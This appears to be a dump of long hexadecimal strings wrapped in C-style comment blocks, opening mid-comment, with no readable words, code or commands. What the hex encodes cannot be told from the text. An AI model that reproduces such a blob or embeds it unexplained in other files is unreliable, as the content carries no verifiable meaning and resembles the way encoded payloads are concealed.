ab8dac69dfd38544536c0d860d005dd3bfb9fb06559fba7adc589b3cce889114af894be25f1d1d65f0cd1e332a70d7c89bcb15b9250a67598d4ea33357f26753eb679952a848340ea15c4976e20a4bc735b6262691a5dd6e3ea6d0a2a9cacfc2eb2e9858a788dd6bd7592866c6ff6cb855476a946c7f09a6c786b5bd33ee192259fec792fb8fd15726edc33f7c3d5f3bd03db975d451bbb187ee86943f94e805abda6518058f6a7b679104b219a6f956a47ac83811be7cd931b654c6eac7c5fd6dacd8e43ed26c7006c3ae3f50d3b4be5f22d81e9a25f3766f476ab0fdc968005defad6caea9b91f73282e88ad01db475272bbca9fb95ed29c8c41f3c83958f2c3a32126f23f6dcd1892f21a6802ecb2f6cef369e1c1b9f2f2fd68de7830946c91282ad8585f3f8b2a2745550d12009a3b545aa31866fe7b6a32e3d0a9a7294a04513b7e23504d30beef7a7844e6278eba51bc563570704f16af9131f678e07fd2000e437c6196186bceab0ac32ba255d791f16e44c082a2b79a89c10eab0931e491f6e7f93db9fc58a16c09886184165f5e135d4485192ad4649eb763af6da7a9f3a45f2c2c20fc5bb257eaed47fa94a33af1c98693c3b318d4584bbe7286aedb3c6e9f57dfbad8884c575d9b85c76b60f52aac91b969250a6ed02896e8b7e584be3d5119902ce35ef226b1706d52f30f81f93d927f2ffd7966d3261182290935f6e364b45f2d279962e00f71b50a54f3b87bd6cd969725249cf9c97afedd05fbe521b5263fd8c44506262bf3aaeab03df6b301f293f1904af302107acac24ea3c5b863eb1f9d607039abbd*/
/*12eff977b9e3f4c4ee3c1a77519f92a737cf976abc53a671ce47f73a85d68265e2f8888efeba64f98f57c1513525219bdc805899b838df07c969d36c3178e2c5aecc20f22a9e4e86752beef074d9cb559d0cc1564affa29c8bf1efa6ccae183a3b14e480077c3779f9ad514a23e37fa64854725d7f45a4bfc3ec20b96858a222dd3a7ddf2e1ab311bf0b63eb252fe9b239e3e0f156ce9275832d1197d02613557d527b65ccd071442d1109d003e374f7066e7a9a9b919e70ae65a43d51185a9e82e1cabb1522b49a3345f895907923ddbf73eb65b27805d7d54d721077eeef7f4b2ab2cf22bd50eafb8b9d2ca52e1c978e64641a3e832b1163cb2ff40f2b56691a804f0a3de9083a147eb12c5f7424ca0087f437c12e8cbe13ff6ec9b69ab031a6d13dd35a62026ab27098de0bf9c3a876f7b792687f2d1abf69ff877f7452b67ac4ca5ce74073b7d424717f1006e6ab81fce11fcb37b4a97d772e2d1af04e6f4eb7bb0d2d208bb2eed31e18a1fbc88f0b71f0feb274ab27696bfb73421e04ff12d48c65899a618ba2d1ab20cfe11b87cf0accb045abb5c216ffd67f0da792d9ee9107cf6dfbc12ffb1b9db7597689e451a89b040571acb414a0d33b742594c62e9601fe6c027ff5a687f61e7802a3596bb98aca0a70000092ad9d7d47fffa1d765fe2f0ed3c5271926b715e902a455a6140633e924112a41da46f47814b89ddc5bd3d2a26f0a65165e7b2a79a1923419506ba4346f524daeefbdca0c56656de3a31962cfa1f9731aea738110258eba6513c0a486bed9da6f97f0ddb413dd73024370b7fe2f6ac8682704880415c920e9e22512dde0b8970746669ddcad54e42460a819a979392700978d2b4641e93817fc5323403af0682657e0b5c9f6b71761b89f785d0cba095b6aab7c724faa03f9b749e8ca428d703d6cb5e09857057c23e8ef811c529e737298ed8e5966f2541fbd289b49bc44d6b3394865f5dfd6e42610235a4d196e456f2513ec765f7f75085b6e072230c9dd3287bc8dd2d8ef15cb5cc2d80a22a8156aee19e8c6ab63e0ee64eeaa02addab78ee6b51ce6a0b2d94c150ae67af1f37223ce9e7df2dd66041a67f3d939f62e5777200b37fba03176b13d250e4dde9341b9acb8730866c0344f6d5dca64db7e137d3776e5bdb11d7a36ade5fe4fd40586c8b4579afead362654287282d4644660db5108df6850aa2fc6e2184d2b4eac932a1215ed69de7be7712f49f160dc3213456b42528156db4c63b82c5fabaf7489029477350f6ae3cfcd86d277df4b2171233902f36accb6697c1d11c91ecabca75d115674077878568f60cca734395c8f0695443d23cb4e33d57a45db44c09a6f23e7ac6808fa21b7c40cb1c52c53782ef3689cd27d6b3b472e689528a86e02d9f47ab4111c35def3cc8f23e977ed8e4294b53296e5b7488127456938cd83109d100c353afae8e8077f2cb606c65db6177d5150e1bc049bfa010b6245f4c3d56bbc3ae3b59e0ff005fb10ad5604265a82283c9706024d0e4143f7ef6c32b7a684e043bef3823e3d36e468ae8cf164f250ebc49033bd0bf6d1aab9bcf43bc715b55e6b781daaa45a4f45dc458d5d93d4a4ecdc52dd5ad9ed04e89289b443c58a5afe021ab81f7e081a73eb714a8dc9cc107d58211ae576739e392673448b908e90f735cb32a9062b107ea2b84c76017db689679ee2bb9810b61c9195ef17e9f02886ade5a7e95796b0eb0beaeef73706012a7559938d3f3399b0da4b380e41321cb8f1c7b4bf2855193e6cde28307b81d774b71942d2572802fea4b68c738ed3494adbc7922308d386d59e009cfec4e358984b780d1d94598ec48af5070ef4a6b691ec880ebdf2e3ab3e83952b8acb1fe37516a5796d5caa05b944b10a1aedb6c73503bee56a42898258ffd1d599b094f0d790c1bcce9b63bd7cc56472ff7f273917721e8a373562dc653e88d15ef6852d6fe681818c893ac014908fb6ec2fa81e6bb7ee0995bfe398bea8c550535b4bcf67dc134b58ef7025bfa439e4033ad957826a807ab0f5a26845355120e7dbcbc1b42f6f3f011d01fb0feaddbc726ec2b63623ca0c56871cb221109c00c2b2f5a390ddaffec69939470691de1e383f1b60a9ee1f144900eae9afaabc9a510d62c567f4d95276cf33590e53a9c2a74d6553d845d5e0c16b96b236ded20b4eb0ee0716d927f0916b22a935a9dffcb2e5c34320af91fe65f024563502538491760daa6958df04caf1986dff02d3bafa9a2fb411f8f6f709291c2dc515022047dcdf5a530ced506b4b6b1822d37cf10dfc63514beed44cab3388128cacdb5e5188abcd9c11db59a7ea2a13b4946779706ef847c2d9aafc90dd9f93498379c21d2cc8fb791d7d4ad3554e675927b592b8225d228ae4e1215e99e34c05d86317446733993738bd826a3fff6694663f42606f8bf5a3a24bdd2e74563b916efdbe436690f16fd1c4379cc0881d0636015a66acefda3cfd368bf3618973c3c8951e0deb8370735e91a61c8414d42e8a7467ce2e54f5f0c9a5c1aca74b6b45dcb94fa8e7dd8c90a2ca8c77d51d178800842994afdba9d7d8dde52e56581f6f22084ae90631ae6dc06b8d2e25ee318fe367e037c16bf413437e91f668d695e5986d94d2296e7b44fa991c661b82759d23da5f0be6ec92f4573f8facdffa79d62c370c903e5b587bf47e4830287ad9b56e7dbe9eb0b460575cc50935cb8306c0d8f32e4afde79fbef942df64d61f073655e20a16ba330220567c6d3cc7912ecae35aa0a1579706051da073def3c373e816a43cb3920f0a46850abb5235d482d*/
/*8dd08e901b8d9330215ce9b969d0d510cd4db40b18746815eec99108d80a649a248ba4cdcd2ac5587a8382a03c065ea8bdae2d8c36f1cb5b1a015ed76c92e0159bf9308bbb1ecf99cde1dee3ad73bdd5e300b1ed57b0658276468494237a7336fd74bd840f4c634215a508a5b658ec6d9ff00898263a7c1dd0beedfeb35430f951921305e8c2cacb3b313d2a2156a3286099cbe70609a04c2413f1d29eb421d869a9fc665e5c7e9dfabda32c45b831aa228fff9ea2bd4ad099218fed5dbf009f2feae19654cdf12c8b9e8ff4c0ee970891455566a0dae3845d05a183f988fa978c4fcfe7e1d1abbf74cf05c9cf5302ab3ece5ed695782454f1cc7fd472283ccd381e7622d8ff4f7220e719426c174286ae6e98cc94ac4699ef0399056b6d82d13bcc87c005dadc52dc424a91af6d08474c276db283acb9bf1fd822e05b07a55a670784ff00e0f90ca29426b00f49c9cf45424d398a4d1477399fbfb5a2182f93e8b6c0562aeda746b3117f20562fd9d34519d6699e7257751386106e9d50c15a5981523014d55c0b1e515ebc1947339d346b27b1bafb784e7adde0c1e0f200ed5cea3bcbed3a5f0b3245402191ab4e30f841dac43a3273269cd4caa286c390b3d0329a9f0904760d7d16616765f47b91b7ac94638c74fbc4573b21dbf36142caebeb60fc2f9b44a1543000195f815facfa8a7c7a7d1f6267df65ef5a48c1423e0fbe08b66b5548117c982aae2ee4821195d143420a8767e429d9ae6caa8461c159a281c353c0a6f0ef493f6cb324f09cd74a0417717f6616ef6fd0df475a60503d153a4a9072a450476e0002c8784a34699c3380515906342f50c4f05c0bc9a5fbfbb09189f3882cfb88bcbbee7fbc8f9f3af943f7295ca9184b5d9ab971fad9f432cc500cf43047b952ec793e95d18daf0c8e5c2dec7ae1ae0e819b37551d42bd67a2fed846823480f1f8e6ab21295441535b98873036037e4103cb38cb5facc7597e98998e88a9c35b3e8564e117dc76a03c540af2bdef1a3995c5aa5883c716fb282e6399bba511cf933234ac135250f787b101bad170ee39a79b18317ba72ae883da52ec2eb752f943d1752691acbaae96cc55db2ba77d632506016857cf0a597732e1fa4ef2736da57192a104742f434453fd6863411238963dbf9eb1e4647088e413eb897ba9b01aa98012efadacbbb465f498ee8345d2edd7e63ab14ccac34448241067522833f97a3dacb97ff725582a54546098d84fdae8f2ad9b7591e6d51a09cf03268c4494121ebca4808cd174cc9cf5ba53582aa4245ccf57d9ca2524aaffeaa15aae23cd7fc62ddf723b11b57f4220c9b2297ee20df57724c9968dc08a9be095862755c6471bac95e1f99c95a8a512f67f627789744b817a212aac71146eb04f91bc198731fda159b60e90d97da787fd686e0087586a35fff6e5a4f8df7c7e4ca49e2b9c20a087aedfadc40c96e823ad37df8e6c8d0b4c0a0cb9930bbf7212a8a232281bc60867bf25c28b828a689ee36064f133cd86d9c8a9027368752171b925f6158aab618cf158a3789f6fda8111f87ab2c03d305786c569b35de6b6abadf4091bed117d59ee272a655f3f933de9c095f6dee7bdf6f4d4c3a1d2d64d896703b7f558384f7cb6dbf08c1588c97bc7366b03a3723e95590f7decd3be59c247412fdf5e50ad5b1420f684f8ef90da316931092f91cc9a7e55aa7fa22f923a9ee78a3fe2110f8099236068db979fbe7b90a2a854c1a333ea6ed9ebb2386e77350315bc96cabcbc303ca8cdd6288f3a9dbddbba69a09587ce301ee7fde39efc2bb81ee49bcacaa96f905dbc149794a7aaf975820fec92d19cb6dc86428ffb346c59eb27a71fc587e17b9c7d6bfec75e826fd1e0e4b785b1bff1e34fcf052207e2cb04469121e58125ba9c2b1cc8255d92ac9c4dd8e778694819b34a71f1a34d30761900d301781f26f96778add49edde283079860ca9d2845554d47195de483635e95797c6e151b1ac1184a91110ab4215aaf55e67aef572b2c94b15c8435763e36a359cf97b675b507da1832dc19941494f30b9c10c7627b7668a137b1e97892c59cbc45f0115de40c0970ad4e0d46a7babc2b5535e5397d121eb0cae89b863cdf2661a276aaad591b8f5625c46f7d9a1dfef1e2d68c1d5792957f909c9da1bed210537c5fee8041942b3ee2cecbddd7989a377a4b6c55cc0772e8a3a4da61c4698a1dcb462fe2d8207148722acb8af5ed42acc48ad089defa0236e15c5e4bb03e3cf704ee3c937b5e75c22b29c2bf99e5e14e3ba684e6cf44e2e704bae7ac1955afc05ef34b79b33e79c999a03c4139d6a5b8f3c1846a740f19759c035f69232d8e1ab9328086fdcf74e4866ded87ebbb0214e939e8f24c365caf4eb59af497ccec184c0c7e50f80df0d4626f7e1e5717c83d547f306d967e9eebba73048092a6b328c9e22aa2f4b9d0987e508444b092c1dc120a0a967a3e7c78054f8a68fb0dfe7a8e57bc11304847c18901bbd80fcffc458ee490e2a45da5adccdcb44cc2fee05d2bddac44d84e9461736fb6b9067cfce237da83cf778a2298f2009f53459c12332e3d6859d9695d0e7f8adc21458605257d9947e659f89cb176a81c3ce5f9bb17f72a0869e59c5da47d6bd37f808d6b70ee308269e4ca0977d9d2225786457808763e6a1917010fa283d7a3c5805ec39acd41f8a1d7292ac5fc23eb10a0cd714cc243f6561f828444b43301ebb923852d5e9c5875e69a640893dd8a2ebda5a7e510bcf2b26cd066108bb507f16302cf6b977b91ecfdb546b52f0d0bb71782bed9150f37d994e9*/
/*3d556c4fb762cb3131baf268fc12dd2007a4f25264ec3124ac18425620fa49d8754733bb01f38121638413dde1625a1025e34e4e58edd92bf31cfe1e3c2e281820d23295d2343c580a54b4b854caf98f5d4439e56ccef983b8293e1a80988e64392b15d7dc8f9a81d31f1d6f2bd82b5bfa334768fef67fde8ee80e7f2a8bb15367caa441ef60a507a544b3d808335af3fc83b0c0bb5cc467798859735f820f10e020c248f78fe02c14e1d64ed10d6c8575b830b78e96276ea38ff36db4cc037debdcd78bd2719d5538c78221de9596b5c996a98408eeab5afe7e603e01979f0932c7c834f1a1ae528a07ca140b75d04c11538e772b1886fed9f90989f1ac35b38181301501f8f650855170c284dcbada67de34400b14f87cd05b35b7da6e3b7945fc42b56d05b9908a432bb52fcc78b3160683723a8ca084ce5b1f8b42037bc91b1dff20e0498fb5b042e0499da88919308627299afbc2820361c3d69e8ac4e1b0bac3e09dfe82666989c2c9596c545e9f6c3891bfe0e1144fe4b4e5422ea3d57e19465b54dacc6f64f5649bb19c53f5330c353c5d0661243844cc8b1829488d19e388722376f4ea674c23c093ff16eb9fe9848c0e550068e0b6fd2afc02ca7326bab3b83014060305cd3a271ce5b56f6edea868c9a517c1afa5d4030fbca98698b996883e45ae8d10f52114a84a68735901cf7136792a1870baf1adab3d3736e19157557def90de5d5a01df4fffadd673bbc078f8dded5302a7c5b556fc56e2199a0d09d808f442badda2f32b411692eaf239736166cb6ae7b1798d84be613ffb5fc5ac7977b2f498327cac7876023ce7a45e650bd5e57ad90519ad8bc97fc791d94b89ab00205eafb5174aa4d88810e80c4569b8257123b73445eeec3ed6ae0ed3f14b8316f56cc4731ec59a2acce058c97e34ef33794d6dd4be670c5632dab581a795f32999a3337f20987e708efb0b028a945ede8ff54391085f7c24a2e168b68db8d3cd446e03bd2af101af2801191394c4b918a23db4c12382b41a72ccd8ad339680d975947fe30f75b0133e7c3c182e2d56bf9061a3b778b6db43b5ef56c8f945d0ed0e9cd2614a4f2c57546476ccf595f29598d54975173da3b56e6182a9277a1eaca3f02a7c68f4f185b55d960ab2999796bd9fe90f48c512af927a45bffd18cf087d0348982e5b8342267e7ef2d3573847c0caa48b627954289b7f3ec7a77856da38ced7bfade44078534cb222c634a20e016567f7886859af6baa60d61942837c810b0c745bc7a7067294339146b8a466d7ad22d84ecfe21ea48de120846e8ac8ba2efcc7a3ddd5d29f08545c081c314be1e2c1569e2d742d5b13864c3095c46a6c399ddf7a36980108c0d605aaf8e358f1b0f5ddfdda80fdb096369d3b28064297c3c15835631c5b919fd429f2c8b69593c5c5e685be4941c5f41a4f98f2d65bf250465fdf5020224ef69505ca3280d7001300309a112ed97c4cad10a2b3138ff24deae83a64018f477f5d5c673b6d4540380179c4f8846d750f6e7d174f77ac5bf196cba188ce47581bc6eff6a138029bb58f609071a58444ac1a4898bd49201efde09bf412c2c5f3d87227ae5a854fdeea80b6c19889121d8379b1a332b1b79bd85f13e623656778b4ee8ed277622ccfc1806435d60fc1350f12542c40243a48bafc07b38757641d19396561a4fb289ede68ce5253552c09f5a98026ac3b701b07187b64ea6909f0889d48eb8cf9f911db8bf276d1a23c0a47eceb7614a797663f8962cdc0ee35622a5e872856d562844d421124b111c0a1f987743db23955fbe7fd3fc33f269903d6c11075e93ffd4fcf3f315349c4e37411447ef2afee7d4ebfc653aa13c672a844a94422726a6154f75a23d69e0c65c184665154da001ffdeb632bbeeb77df3945c24dee4bb1502fceeae708f6e30015834bea0b0ae64c591baf0cbdb64ceed29c58d9e0accc6b9ad5205858ea83f0ccb04c86d46eb3565ec77d7e49c4f6aaaa4de99820e807866a43e0cef9d03b65de6fe20a5092ad29c6869151d0f2bab00c0f9ca2797170544fc89a840db9a3cbebf8424aa209c976fd1a59886c8838dd1c5d6ebe2e64bbe0fbfd1c450defffe6279d70c78ea0fd860cb7e9c20697d6462b226b57ebc91655cb99df6da11eec0321f1c67e77546d7793e469acd4cd54b927070eaa970f4c32ce0772dbaafc55919695b15a69eb7218c0da01684ee0d4d8edf9ad1d5fc42cb7b0f41aed8ea675422940dac851aa2a70e47293c3c455a1ca58164f4017aae9fea205d3e8eef8066ccc21de09333b6ac692efc958bded93e5feffa963d078103606a873b6fb7ef715e15a341c4098953f13865a7f56913794981ccf5e5070715cff30d4c494afcb5e925a65832db2fd6622372204a68191e648cdcd967f08383ab96da1e13ff9217b7148a0ee2c3cf52da40ae5e45a1dcdb7a5acf7b3a60dc246cb68f582361fa6938c4e915ff7a9d1e67e1cd91be43cec12fb4c8a3d5b12b90c3f79aeb4ad3333cdb163dd20150acb5d9106d6485ec899e2f9bccc38b4b7ef48c00b2eedfc5156bce7176cd2eb2dd9bef5ae6ae3f8b18f10522424495755c80bd3ccb7ef9d2f3b25a996cef5a76d79d5b0f829af3bf5a08601c74a9ec1608fdda5b3e30964aa8b4f3589b4d54ccab26fc3d6660b11cf0ba106ddbd3d2ce814d4198bf21febbb394fa399d2a3607e29fe295929b538443943d11d6aaa0041f541d38a65b25d5645908ce962b99f23f12731a03d533e0d41e07b3f3b9c40022e35770cd13d6ce177ef8f4de605bc124aa237cae39061a3bdea0367*/
/*2d4a3b6135a8e598649f05e569f891d690e69cbeea1fe5af8f7e8f7db92ed7f02b6dd510317b1b2a2de85bed3060c307e2ca2a7d226559f30c0254dc577eaaed08a6b2d53171be57b33bb8f6050d9cbd35b558e8a88c7e13fac3afd9b74fd4dcf21b7d6edb0ea4a562892cd2abc556e2aba77a36f5201245eaeffbd966495e97565aa0436b030bfe850c1ccf87df74d753ac2870a63e38a20331f61ecef3a3b6a90e8b4fcf137e3fba482539cfb7bae2f2bf3aa396a2d1dd7042b01dfdb986d79ceb8a3ddd6a8aec8014dd065f5d8b97572c815c6d4532ff63b4add07c9c08c432128ab3f9bfe0c7f2f19c70e25fce712208574dbd6b009499146cd9663fb98376dd5779bd15dbfbc4bc9346c4cf0aa3d0faa73eb6681207bfc2a561e0fabcc3186b85c4e1e946c9c35c12df024bebef6d6aa6b4f66860a7eaef8a89fe810975fa029070955e68338492e231c925701a72d7c2be0348613ca7ebdfea21c2fbafe3049fdd6d8c5404bb122c0a83314b0b19671fcc9752290063a6130254af93f08a367ce67613baa863ceac105fc7dd4dda70373df8d1132768560ad1de408964d1dc70d2450deb3ba5cbd3e235abe33061d2b5cf9514317bb9de23843343ce50e3d8de021c3e5573de267a22920f892ab862ffa83e87efe1b30a811ed0e8e011221fd824c261f3f80ad49dfd7cbbaa05dca36255366f9edb1e3d3dce5c4d7fb8ba96b3ba827fb19da76781a123fa29af666e200dd2f7e8c29a316b8076904ce8cc7ea1fbdfc1ab8d8e4b55f815547d6497079817ef73909914b5950d759d3fb5cc01f426c029375e34e85ba21ac08e83891eca16e2f30e9f2d46f050d7abd0b57efbfa295f0d539bca3da59248bd1a3c3c4c81241778783f03fedf4da320a39534e27ad567f54546acfd9ed4c7d4bb53a414ef1a6adc0573ccaf2057f33abdb6d5cd9c7bff26a261dbe4c625d3a491ac1b495fd68bf6b972b18340bc6cb174e3698ec1c0f3cfad43d2f545ff68827378bce595a24f0e1128ce455b199a983cf35588af1b1ab67c76f2753ca64e0c7b2b54a7892932b0f9fa31aac7aa01eafd3bc3c3cae5c67fdcd1fd8c912f5b7b7064bf5c6d419d5800d1ce6365d88ad71810abde4c9c1e002f86ee8430f76502a54bbe93eefa55bf936b61da93b7e8c86e6045304d6bc1deadfbb3f77a5480042659acc5da5fbb8ba54b651281b7129eca9fa51ec3a41248ccdd3713fb848d0864ed3c08b566f1da81b6ebb7375123e144bc020c78ae45251d3498b9d8345a868969e3bd0201993460e32bb4de5ccd2fb6c3e096b697d9fc93815794649c8777750546225f28336652493672e0e1dbce4fb420ef8eb300dbd6d3b0040ba228e7483de832a4535a8cbb9abf3eff77a1e73ca989919618c457dbd2e7cfe3c285cc03ca66c93746b0792b7d2e56d0dd8beb352cc6c2165612364e8459275ee20fa3a62bcabba2a0663b55137b054790977c42a01c6fe934ec1b8f13a257f9ef9ceb0fb1d8f9ac6447e9b5b698bf0ef7f273a7e6de059f7780bf8cd5239200372bfd14a6cf954e12bc660eec6bd35cd824be555f44b71af7ab20a78c293af2092d2c40ff3acdfc132ed9c76461a9a0ba5f95f948896a99d151ba14e288b8489a1f398dd94c541a7c38b8e735978e5dffa7d4a615294365c729dd7f51bf8f856e99fc641dedbb850652d0ecf488ea6b520366b6ac8f566e9ae0f319b5859bac6b42820b60697bbbb30f756b2f33bf65fac98784d655d92735420b0b9fa01ce2696e1563ec336d8cc5f82dccebcb803ce3710ea81fd2a929f1daf0cad2325a1c82687c7325e50474e08942057c26c93898822e10b2fa1fd561070a075a1ac77791e3ae2aa9ec4313e0ade2c4811b9f3a9659821938e0e476ced21fc12a0bddad15acb9eeeddcde6b466bae3235bff7bd405288a3e0c98947d720ed086ccd6477c1d500acaeb0598dd62a77916e878b0bce85b3ac48d35253be5e88b5db02e066ac858c5ab1f83e137a903bd2c408f12c4a458591e901c574652276e2ed74233eee7d859fc4f08c28287e7185fc406c9614373478807a32334fb871cb4f276a9674b06cff7523939496add59dffdc5521753b1c734a56dcaf86abf6128986b1bf1db051cfd041ad44006ffb8f1e6ff998e17ccf676baf274f0488305ad7c796658b09c8792867c421d5b2bcb222c1801f921b9c0aae6bf7acd9ce70b8fe63eacd32f416589963a239ff9f7fc0b2b09081f7cb5513cdd0f5f3c9249b32e5cad7ab1c15f6a6d9843c3a6be19f50678addd11b2cf0003b9ddeb1abd4047351e7375b841162a38f8a5f34e28fb4774810dc759c1da5c6815d2267f83436cc0004b5c3e007482d30b3a1072eba1190c041bffe2129182f6fb28a9f960558de97bc7ccb58001584377ddc1a34e3cb9e4cab95044e40dbf0ecc39de2a33b54067a6734d04addff2550a3b267fecd77b22caf8d8bc1ca25f59fdc5a25fc95e3e91055eb17456f91d65ce319dda7842fe546e8bc35e8bdf92908112dfe8506a59153ba0eb64f884aece52956f4fa003a50f16acc75a52b7942b7973ff27a4ed6e603a9d34f3e93b8f73bd3088cc0a201f2ed224118917a1d9ba7feceb5d1061b0cd93d20043d91b05e6e11e210377fc12ee72d2dc16826b7d7a1a9f7a341440158b0c275e5abf35e738344b2cb47b898227aaf73c05f71cb5e994f5a0316274d0afbea0e2c4072362620afd5d14c322f95b619f908206ccb2891882abb682ad0bdde6858fdc9795522b3f60e0c166638ffd5959bf6a34a121d239edda7fe48421b27cb458e68e048e29d*/
/*7dffd54457e5835e0623f64096cf6b97a39b735a7de8759a804bb0a7dff0806ea7564a68cd583514a594fe5b93e5867026c7a26de12a1c4ab10a4ee4865164bae2470232a7f94c3007e40202ef92bf5f7325c177d5602e5b4e60655de7829734be903c55ac7d46c65c8d5f359eb0a5cc3f8b6aae36a1c0f5c80f83cd6c065a7368e3ccb8e9018a0a5555e18f4b319838e6be7c7d31c96043a5e8feb76ecfc99080fead87d138a796562dcbd3de980c7d178b3ca4417d605ce10d592718fdb6a82c8d0ab3123c90486dac083b60a0a30444f97a5d40e73cad1f54e36394d3b409b726906bdf39f8da9ed73ede24c51b8e982aebbe91b6b4e2fcf27fbacd081941180cfcc1bcf3869c0d5885cecc6e42d8669da0bbff75b5c3f38892960f79713272126e4f93aff339a6e4369f9e9fc7abbb4c7e98d453822b0f0a656b4b79f9c15898ddc9aca857f71d20144b7d1e7224b306e7da4e6d994fbf0035fd45c6f367093ff4b9b01735667e2c2102718fc03bfefcec2e1a586895a2e1085c700ceeb4091aff1d7458154ed539d4bf1fbd05b81379e6892edb5501f88ed9fa28d9f0d31d83ed6aee6cc8f3c1cfadab16fb254e94f2673ffa182f65d459fa9fbaaf20b303767c21498712367e698aeab14c5f38b72aeb84cbd678972ac8ff481fe0f14ba275767dd18c17156b3105d9dfe891d8296b7dd7fee6ed337a94d28c3513f676c8cc851368351843d4831613f01575afaa4dfdae8f0d572eaf86ef2766f7bd908a428ee2beca58b8529779045139e0fe482a362edaacd0da1b6723b598cbc6125fc2d4ad0744c2c38b61112a032c12d044dc3886b114c520aee0a1576dd1d6b4809abb6e9629f5845e79a8dc917829078ded5400b287355044b44d4699e862266664e9cf2f75f2de617254c92a8a9766ffc4e1f8e21cdab42a49b1a8da52c55afaa4617366c0024d0a32c8431270a06f786775b3329a887577432e13576c10ff3e2caaf3e464477b4350d1b7b4718d81d797763c6618fcf76f6d699496c1570cb3f8b3e753fa8849e3a5badf52444c60d130c97a1078f7b5e7c5151c712a24a844ce9460279dfc649ef316f3c31876f5e9b94ea013fb2aeaf3c1ae27404e1f502361cfe2f54ce081e0ef1cbc04d07cfe000908fe659da10c6482f4c75d9b524907a1f864fc909d516a8e4a00d9773097bdb26bf253e66a38fe5c7c1d1c3d3d5dee67fe7f883412264dd94096ab52f9788a955d6b7d332e2ff778ee8706ceddc6cd4037b20bb9435fd551aaecae4ce7b3ec98c5e42ada021000b805c1b92230dcb0fcd3adf48074482f0a8f40854d1719c987443848970cc4d5570f3067bffdb4a86d0c6bee9245945406f93575b41279f97c14fae96953cc3093a1d9008bd332f9a2399cc4fc1bfc8241ae44426ed9917f91b9503e7de11c8cb1f631c595166cac78b302f38c159b7379159cb005a22704ad5fac6de07d56d46de24239e6195df2a64726da4be8f18be09176d8ad2ed8b9572a089198cdda791848656e525f8f9a38b76a6bf6314ba38ded4cd60ed124f926868b6aa936d02c42d12885d02f500b123d980435dc5025f1f4e879837d7e0bb9c085837617c370583fa24b8945dfe233c5510f7bbc54fc0b49ca925de53d6d8972f47182323b8bafaeebd26fae965c850ae37ef7c0ad824ec8f8da4ab44704a9b6cd4def4781c0ecba24083e4e20dfb3e8a8d85e02b9fbfb6dfbe52369d095b554e531a4eed06fec344e1b634dd66e0cb05e1d12fc9c13e4f2688e88665990206bd9e1c4cbe9d621efe345e01c691a8be87d433d1a47aa5a3517b67e21d31b350aee6db9021ff416af1da4eadfccd69936c8baf5fb8f0fcfadc671c6090e0058864a1a65cb3aff508593ea62871c3d1f449d09989caa922e277d982598c45114f11f0e7dfef0908ab73a6d31254556f8037869a1e921edc568a1088315e599d0684465f7237be6643e31718b845c541e79e5d397a0b2f1a4db63a665d21c85c611ddda3e07291ab17cd52be040f9175a1a2c941adcc854a6ff817f2650d59299d705ef5ddbb9193755f8afd6b959319ceb4cff938dc4b8e3265ece5b085d77e625c9a3d89108c366379a580a033fa21c8f55a588ae57105428f3ab9ec1f799dcd1eb7ad8c540d1cfd6404398e37ceb6873a94c8f11f6d757e237c7178bd40201f27c66107aa446cdec74d2e9399991aa56931db17c7509db57ce3c63d86058b0cd5111926d635bbdb6b9fc0649ae4382afcf9e322e54f32e3d9af6549bf059819d8d32171398e12e96829d2547385ab0bba72151ced4c7ecb814fc63b80b06e35a431ef657cc7f9e64b39de7e20aaf3940a539c8fe59700720f3852d542edf99af02b96a2da9d70b056bd0fb0a0d7f34c4aeb834d1d8305fee42e0cc5acc0fad9acb98535ff0e3f725fe07b67662d83d7f3715f3de307e46fa5a62200cbe22715396952c7b16a1df2e0811d63e1fea3c56c1f80bff751828ade75a6b89f8e306b6ece36facbc0d894531d9f6179e456fdd7ec8fbdc9942476b007dca16876339d41fc933300804c66ae1a3bcbea5ab4d2f17874fbd90f5b808e50fa0291cacc333ce099192f142d95c64a26ad3730104fb00ef062d7cd6f8632a5cce8aeb93140caf7fc4843d85d7ad7b479e7d011dcb750a445ccdfe504d8049e15842505c7ca047b89a26d662a6d2792af841f4b6a72d8a5b27aa4c7bc927740743733972306a8fcce5e1fd1bc5ff63cdadc36983cfd87cee069a4326aa722abca536173dc35aaee633532c04fb40b68886d75d29294ef57c5b509bbbdd6365e230ec30*/
/*96a7fc0af22e8c4f5b2e328ba1dcd1dd02253bf7a1097c890e529f2d41ab8cc748961acd06b29d3c138c821a9c160fe7c9c8e668e5dcfe15a71d389e658fe87eabc610c208d3d3c3e7e80fb8a01abc8a67f12600eaa44fc57f69f529b90c5645d784bb6ecd62c89acd505b4bd71455f42e40ae8c84980bda28ef152ada82e4ffab3429f255b8929c10276d26383065100a29fc0e0080d3e926d30df869d9db3a8aa2a4d602244505630dfe4ea12d5dd1cfed9d06c086b7eb1c67bc2855e5f11ec12f9453e7422b96b5668949c1e9cd2fde5e992082b06d6adf055ea348c4d10c4ba11e6b5d2679aa7d1156fe5bfc3282e020638360f415bb63e9145e21faae68ce4124d567ca1c7c9582fe14d888b2dd66ca8337d201bc9a50076d997a441804c22add440d3881285a421523cedc671cb046a56dd70b9319facd515415e1824c32f32314b54abe8aa75c7ea69898c6872f2d6e59200bacbc58e61508f081dc7e26dad13e68335d297f73f0efc0fcd0648c633155bbf865c251b66d88a717c916854048a84d09d8abc025c3a56f68084f90cbf4bfae43f3a15056b4c575763e0424f5744ebb08dfa44d1c082730b535a917817126ced86b738df73b14b627c545c09f048719dd4b3859e7ed795444de645d226e923ef59758e805ec0a05701f01b78d2674c884fdbb5b57ea15a5f444ed805db09fce7a2ff236cd59f41fc94a988b6e441728a4eb613fc71ee327d66c27f323e76dfc31988848c18bc8dc4f001945b08cb1c6631f1c1eabf3e612ade53d3f6b69555a3a39d9dc8d1c35d2b797520f88203f72429a29b53e286b8a8f6b6b33a87c558e52a5bf4a395ff4130626bf7133a0fd22f8980f031ce05e41840231cbe039dd72eb7a562239863a5d6bfb83944e4a612a771f5474ea9e4a51b5bfcc69f6e4b9d4ad516b856dbd8ca5c888b54a69b422c41d6ee71aec00dc8580ec96587223720320ec7d5ce7450580160786f3f275015d6d399d4a85735853b1fc96b73cb8c9642554d42da9df9b06bd872a4707a3a22e020dd0ca92b6fc95cb93c14cbe4d1ef2df035b2e5a4bd4802e400e3e6fb81dd81a3fb44977191dffe5d9c1f1fab51a8cdbc682bdaad282172202afc3244e037904bcdfadf635c3d45272850140fdf4775eeedb5cf985cf598a8b0ac60bc27c73d6b4eb7d7b6eb02be3b46ed7e7d94fa287ead85f83542a3d8efc31ae82520c578ecfa40ea7024b4042b97074dc8790f08fc1e1a04d02509957001386950466b7fa7bed2265b61a96e86528676811f8002b74c